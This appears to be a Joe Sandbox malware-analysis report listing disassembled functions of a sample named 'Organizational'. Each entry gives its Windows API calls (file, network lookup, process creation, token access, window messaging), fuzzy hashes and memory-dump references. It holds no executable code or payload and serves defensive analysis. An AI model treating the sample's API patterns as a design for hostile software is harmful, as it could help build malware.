Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 41c45824bd1ac8b5da25370c8eb22d8e7604ac68848a2575b831116a8e228cd3
Instruction ID: ca79ad56df88a33d4b84adcfc7462822ce57dcae383a835717ebdca54ca3b3dd
Opcode Fuzzy Hash: 41c45824bd1ac8b5da25370c8eb22d8e7604ac68848a2575b831116a8e228cd3
Instruction Fuzzy Hash: D011933A500349AFDB259F24DC45DBA7BA9FF45360B40402AFC0ACB2A0EB759954E791

Function 00F25312 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00F25331

Part of subcall function 00F1593C: __FF_MSGBANNER.LIBCMT ref: 00F15953
Part of subcall function 00F1593C: __NMSG_WRITE.LIBCMT ref: 00F1595A
Part of subcall function 00F1593C: RtlAllocateHeap.NTDLL(01450000,00000000,00000001,?,00000004,?,?,00F11003,?), ref: 00F1597F

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 5692c84f6f075fb9aec0abc8620894df5c32661b8150aca8818237b1cabcade8
Instruction ID: 414bd49b3bd89338fdb83207554741153fe614d14a94cd6ce8cafd321700c3cf
Opcode Fuzzy Hash: 5692c84f6f075fb9aec0abc8620894df5c32661b8150aca8818237b1cabcade8
Instruction Fuzzy Hash: 1911CA32905B29AFCB207F70BC457DE37969F14BF0F105525F8489A190DE798D81BB90

Function 00F54365 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00F54385
_memset.LIBCMT ref: 00F543A6
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00F543F8
CloseHandle.KERNEL32(00000000), ref: 00F54401

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 1a7ff7f30d7cc12f5e28f970c8b9e270f1ab216bb9f1561a057ed9afeb508d38
Instruction ID: 78e7d2589f8a09fc7f037ee6e76be783f5f3911f9b0b76de582d4be5f4187f0d
Opcode Fuzzy Hash: 1a7ff7f30d7cc12f5e28f970c8b9e270f1ab216bb9f1561a057ed9afeb508d38
Instruction Fuzzy Hash: 06110471901228BAD7309BA5AC4DFEBBB7CEF45724F00419AF908E7190D6704E849BA4

Function 00F66A54 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00F0402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00F57E51,?,?,00000000), ref: 00F04041
Part of subcall function 00F0402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00F57E51,?,?,00000000,?,?), ref: 00F04065

gethostbyname.WSOCK32(?,?,?), ref: 00F66A84
WSAGetLastError.WSOCK32(00000000), ref: 00F66A8F
_memmove.LIBCMT ref: 00F66ABC
inet_ntoa.WSOCK32(?), ref: 00F66AC7

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 06ec56492888b3badab453fad7616b3b318f407e897e9dc8b6b903954a9dc66c
Instruction ID: ce791e32f0019199ac8ff4e5fc5e9ebfc1de29f3ea97fe35e665a44ae99e4e7f
Opcode Fuzzy Hash: 06ec56492888b3badab453fad7616b3b318f407e897e9dc8b6b903954a9dc66c
Instruction Fuzzy Hash: 2E1142766001089FCB00EBA4CD46DEE77B8AF04310B144165F506A72A1DF35AE04EB91

Function 00F496F9 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00F49719
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00F4972B
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00F49741
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00F4975C

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4618c226a8620cddd8977cf522b1c7641ecdd6632f874dee9e187236c51f849b
Instruction ID: 966671435bc80d5459fa4b8593596a16783a6123f07517fbddb49931b65627dc
Opcode Fuzzy Hash: 4618c226a8620cddd8977cf522b1c7641ecdd6632f874dee9e187236c51f849b
Instruction Fuzzy Hash: 5B11483AA00218FFEB10DF95CD84EAEBBB8FB48710F204091E900B7290D6716E10EB90

Function 00EF166C Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00EF29E2: GetWindowLongW.USER32(?,000000EB), ref: 00EF29F3

DefDlgProcW.USER32(?,00000020,?), ref: 00EF16B4
GetClientRect.USER32(?,?), ref: 00F2B93C
GetCursorPos.USER32(?), ref: 00F2B946
ScreenToClient.USER32(?,?), ref: 00F2B951

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 7fd5eb417dd9b299944a8b3d5a2cacab6782cb8fa6e70804784d1d272a21afd3
Instruction ID: c5c37caae3c4498ff53458de1afbafbef0fd1694442a42618aaff6357496aba7
Opcode Fuzzy Hash: 7fd5eb417dd9b299944a8b3d5a2cacab6782cb8fa6e70804784d1d272a21afd3
Instruction Fuzzy Hash: ED111336A0011DEBCB00EF98D895DFE77B8EB44301F95049AEA41E7250D730BA51DBA2

Function 00EF2111 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00EF214F
GetStockObject.GDI32(00000011), ref: 00EF2163
SendMessageW.USER32(00000000,00000030,00000000), ref: 00EF216D

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: b8bdd81528f4b921417ab1a4b89fc218b6992fb07ef492b44cbb5b1ebaa33839
Instruction ID: 28223ec38a040d8e273d4d23b82bc53d1f9ffb05efe50ac45158c435992e1ff5
Opcode Fuzzy Hash: b8bdd81528f4b921417ab1a4b89fc218b6992fb07ef492b44cbb5b1ebaa33839
Instruction Fuzzy Hash: DB115B7250264DBFDF124F909C84EFA7B69EF59364F451119FB0462150DB31DC60EBA4

Function 00F51941 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00F504EC,?,00F5153F,?,00008000), ref: 00F5195E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00F504EC,?,00F5153F,?,00008000), ref: 00F51983
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00F504EC,?,00F5153F,?,00008000), ref: 00F5198D
Sleep.KERNEL32(?,?,?,?,?,?,?,00F504EC,?,00F5153F,?,00008000), ref: 00F519C0

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: b4543c4b7a4c34d65210daeed380be72dc2e9eb4f7b2855ce54828b51e8abd63
Instruction ID: 807ada23a58a2c0b4399b853872fbe226db275410e3609c138fd0eb7b2d2e1a9
Opcode Fuzzy Hash: b4543c4b7a4c34d65210daeed380be72dc2e9eb4f7b2855ce54828b51e8abd63
Instruction Fuzzy Hash: 3E115A32C0491CDBCF009FA4D998BEEBB78FF09752F414045EE80B2241CB30A698EB91

Function 00F7E1CE Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 00F7E1EA
LoadTypeLibEx.OLEAUT32(?,00000002,0000000C), ref: 00F7E201
RegisterTypeLib.OLEAUT32(0000000C,?,00000000), ref: 00F7E216
RegisterTypeLibForUser.OLEAUT32(0000000C,?,00000000), ref: 00F7E234

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 5d584156955b1008ebce58726aaa063887904428120148cf2d4e86c65a6e13ed
Instruction ID: 872a2b01596614e0518005428361fbac67d84b8b4b86a29f9941570d3bb5458a
Opcode Fuzzy Hash: 5d584156955b1008ebce58726aaa063887904428120148cf2d4e86c65a6e13ed
Instruction Fuzzy Hash: 7F1152756453089BE7308F51DD08FA37BBCEB04B04F10859BA619D6451D7B0E508FB92

Function 00F271E7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00F2720B

Part of subcall function 00F278F2: __fltout2.LIBCMT ref: 00F2791B

__cftog_l.LIBCMT ref: 00F27231
__cftoe_l.LIBCMT ref: 00F27263

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 8fdb8a027a31561826b5d47114f7b61b24dbd493bd991f74e6c4d7f41c6866ae
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: C9019E3244826EFBCF126E84EC02CEE3F22BB19350B588515FA1858171C33AC9B1BF81

Function 00F7B937 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00F7B956
ScreenToClient.USER32(?,?), ref: 00F7B96E
ScreenToClient.USER32(?,?), ref: 00F7B992
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00F7B9AD

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 862287d781f048ad220ef97fa68b803e0844e8090d35e5d389679dfc9fcdf9bb
Instruction ID: b0cb96f4b3e5560eb6a832bcd1275ea1405a32e67791fd22f3ae39f23958a4d6
Opcode Fuzzy Hash: 862287d781f048ad220ef97fa68b803e0844e8090d35e5d389679dfc9fcdf9bb
Instruction Fuzzy Hash: FB1132B9D0020DEFDB41CF98C984AEEBBB9FF48210F508156E914E2610E735AA659F51

Function 00F7BCA7 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F7BCB6
_memset.LIBCMT ref: 00F7BCC5
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00FB8F20,00FB8F64), ref: 00F7BCF4
CloseHandle.KERNEL32 ref: 00F7BD06

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 305fb08954e0761ba5fc91d9216d0600920eaf372934d7a6482f849d94ac8300
Instruction ID: eeeba6c37661e2ff000183468b09f6483b321f3f4b14190341a29491e5e4c8e0
Opcode Fuzzy Hash: 305fb08954e0761ba5fc91d9216d0600920eaf372934d7a6482f849d94ac8300
Instruction Fuzzy Hash: 47F05EB26403087FE3506B61AC45FFB3A5DEB49794F000521BA08D61A2DB758811FBA8

Function 00F57195 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00F571A1

Part of subcall function 00F57C7F: _memset.LIBCMT ref: 00F57CB4

_memmove.LIBCMT ref: 00F571C4
_memset.LIBCMT ref: 00F571D1
LeaveCriticalSection.KERNEL32(?), ref: 00F571E1

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: e9316145ed754eedcb837e4c8349bca6b2467ecad2c689c8706eee6dc277c035
Instruction ID: 502a598f695687f436368c29c7b3d1a80100b684108c403274524b8895d22d4f
Opcode Fuzzy Hash: e9316145ed754eedcb837e4c8349bca6b2467ecad2c689c8706eee6dc277c035
Instruction Fuzzy Hash: 7AF0B43A200104ABCF406F54DC89A8ABB29EF49320F04C051FE085E21ACB35E855EBB4

Function 00F7C3C4 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00EF16CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00EF1729
Part of subcall function 00EF16CF: SelectObject.GDI32(?,00000000), ref: 00EF1738
Part of subcall function 00EF16CF: BeginPath.GDI32(?), ref: 00EF174F
Part of subcall function 00EF16CF: SelectObject.GDI32(?,00000000), ref: 00EF1778

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00F7C3E8
LineTo.GDI32(00000000,?,?), ref: 00F7C3F5
EndPath.GDI32(00000000), ref: 00F7C405
StrokePath.GDI32(00000000), ref: 00F7C413

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: d464dc3f30ed7d3f5102279cfa20f4e37ce51b9260153e144a73db19cd4740b3
Instruction ID: 28ec9252b2bbb15a36f27f050ff2da4945857242db8a0bca023ade7370cc1165
Opcode Fuzzy Hash: d464dc3f30ed7d3f5102279cfa20f4e37ce51b9260153e144a73db19cd4740b3
Instruction Fuzzy Hash: FDF0BE3200521CBBDB126F50AC0DFEE3F59AF05721F448100FA11610E18B749554FFE9

Function 00F4AA52 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00F4AA6F
GetWindowThreadProcessId.USER32(?,00000000), ref: 00F4AA82
GetCurrentThreadId.KERNEL32 ref: 00F4AA89
AttachThreadInput.USER32(00000000), ref: 00F4AA90

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 19142e3220974ebe7b1b1e5448a28755f4f48603cec50c11a30faa4e3fc51357
Instruction ID: c09e3e4328ddb3b6259c32200ffc169cf4f04899f4edde11bc0bfe18ba70cc43
Opcode Fuzzy Hash: 19142e3220974ebe7b1b1e5448a28755f4f48603cec50c11a30faa4e3fc51357
Instruction Fuzzy Hash: F8E0393258122CBADB615FA29D0CEE77F1CEF117A1F408011F90984050DB75C554EBA0

Function 00EF25F4 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00EF260D
SetTextColor.GDI32(?,000000FF), ref: 00EF2617
SetBkMode.GDI32(?,00000001), ref: 00EF262C
GetStockObject.GDI32(00000005), ref: 00EF2634
GetWindowDC.USER32(?,00000000), ref: 00F2C1C4
GetPixel.GDI32(00000000,00000000,00000000), ref: 00F2C1D1
GetPixel.GDI32(00000000,?,00000000), ref: 00F2C1EA
GetPixel.GDI32(00000000,00000000,?), ref: 00F2C203
GetPixel.GDI32(00000000,?,?), ref: 00F2C223
ReleaseDC.USER32(?,00000000), ref: 00F2C22E

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: bef7b00e5809205c63d9f8b4be0dded6edfa8cf55b57c9b8327abc67e6c75d0f
Instruction ID: 4b7691cceea40482d010f8b6415dde780f43b7e633b4603e8552fc7004cb9617
Opcode Fuzzy Hash: bef7b00e5809205c63d9f8b4be0dded6edfa8cf55b57c9b8327abc67e6c75d0f
Instruction Fuzzy Hash: 2BE06D32504648BBEB615FA8BC4DBE83B11EB05332F448366FA69980E18B714994EB21

Function 00F49330 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00F49339
OpenThreadToken.ADVAPI32(00000000,?,?,?,00F48F04), ref: 00F49340
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00F48F04), ref: 00F4934D
OpenProcessToken.ADVAPI32(00000000,?,?,?,00F48F04), ref: 00F49354

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 9d8bfd355eea64da941dc9648b016177226b0a1c39252031b319e2830d7a877a
Instruction ID: 34ec82d4fba50b863201584bf84f75edea0574c9826aa5ea5bae1c1fd25662d6
Opcode Fuzzy Hash: 9d8bfd355eea64da941dc9648b016177226b0a1c39252031b319e2830d7a877a
Instruction Fuzzy Hash: D4E08632B012159FE7A01FB15D0DBB73B6CEF517A1F114818B645C9090EA749448E750

Function 00F30679 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00F30679
GetDC.USER32(00000000), ref: 00F30683
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00F306A3
ReleaseDC.USER32(?), ref: 00F306C4

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
